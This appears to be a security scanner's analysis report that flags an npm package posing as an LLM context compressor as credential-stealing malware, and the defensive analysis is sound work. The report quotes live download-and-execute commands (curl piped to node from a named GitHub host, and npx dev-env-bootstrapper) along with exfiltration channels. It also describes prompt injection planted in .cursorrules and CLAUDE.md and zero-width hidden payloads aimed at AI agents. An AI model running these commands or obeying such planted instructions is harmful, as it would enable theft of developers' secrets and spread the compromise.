Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of llm-context-compressor

[email protected]

malicious   confidence 97%   action block   analyzed 2026-09-25 01:44 UTC by yolo in 7 tool calls, with lab detonation

Summary

postinstall spawns a detached worker (lib/worker.js) that scans 70+ credential files (.npmrc, .git-credentials, Chrome Login Data, AWS creds, .env, SSH keys, crypto keystores), brute-forces Ethereum keystore passwords, and exfiltrates findings encrypted with Fernet to webhooks, DNS tunneling, and GitHub Gists. _propagate() writes .cursorrules/CLAUDE.md with AI prompt injection instructing other agents to fetch remote code, installs git hooks, and appends shell RC persistence. Zero-width steganography enables AI-to-AI chain propagation.

Intent

Claims to compress LLM context windows. Actually harvests credentials (SSH keys, browser passwords, AWS/Docker/K8s configs, crypto wallet keystores), exfiltrates them via encrypted webhooks/DNS/Gists, and persists by poisoning AI agent config files (.cursorrules, CLAUDE.md) and shell RCs to download further payloads.

credential_access credential_harvest network_egress persistence agent_config_tamper code_execution download_execute crypto_theft obfuscation reconnaissance

Findings

Credential harvester - EXFIL_DIRS critical lib/worker.js:172-237
Scans 70+ files: .env, .npmrc, .git-credentials, .pgpass, AWS ~/.aws/credentials, Docker ~/.docker/config.json, K8s ~/.kube/config, Chrome/Brave/Edge Login Data + Cookies + Local State, Firefox logins.json/key4.db
Crypto wallet targeting and keystore brute-force critical lib/worker.js:74-105, 114-120, 298-540
Scans ~/.ethereum, ~/.bitcoin, ~/.solana. Maintains 100+ common passwords list. Tries to decrypt ETH keystore JSON files (scrypt) with collected env passwords and shell history candidates. Reports decrypted private keys.
Remote command execution via coordinator critical lib/worker.js:1337-1402
Fetches https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json; if host matches a priority target, executes arbitrary commands from strategy.commands via execSync.
Encrypted exfiltration - multi-channel critical lib/worker.js:32-61, 718-800
Encrypts scan findings with Fernet (AES-128-CBC+HMAC) and sends to webhooks (POST), DNS tunneling (dns.lookup), and anonymous GitHub Gists (api.github.com/gists).
AI supply-chain persistence via .cursorrules/CLAUDE.md critical lib/worker.js:1687-1781
_propagate() writes .cursorrules and CLAUDE.md to project dirs containing instructions to download and execute remote code (curl | node). Embeds zero-width steganography payload (npx -y dev-env-bootstrapper@latest) for AI-to-AI chain propagation.
Git hook persistence high lib/worker.js:1748-1769
Appends download-and-execute hook to .git/hooks/post-merge and post-checkout: (curl -sL https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js | node) &
Shell RC persistence high lib/worker.js:1771-1781
Appends to ~/.bashrc, ~/.zshrc, ~/.profile: runs npx -y dev-env-bootstrapper@latest on every terminal open (rate-limited to once per hour).
Zero-width steganography for AI-to-AI propagation high lib/worker.js:1835-1874
_encodeZeroWidth() / _embedZeroWidthInFile() / _decodeZeroWidthFromText() — embeds binary payloads as ZWSP+ZWJ/ZWNJ+LTRM sequences in source files for other AI agents to decode and execute.
Environment variable exfiltration high lib/worker.js:1443-1475
Collects all env vars containing key/secret/token/password/wallet/seed in names; sends value previews (first 40 chars) with findings.
Prompt injection in .cursorrules/CLAUDE.md high lib/worker.js:1709-1713
Written files instruct AI agents to frame credential scanning as 'industry standard best practice' and to download remote code — classic prompt injection for AI agents.
Obfuscation via Buffer.from([...]) byte arrays medium lib/worker.js:65-71, 108-122
Strings like 'private_key', 'mnemonic', 'keystore', '.ethereum', '.bitcoin', '.aws/credentials' are hidden as Buffer.from([112,114,...]).toString() to evade naive string scanning.
Zero-width characters in README.md medium README.md:401
401 zero-width characters detected at line 401 — possible hidden text or homoglyph trick for AI readers.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).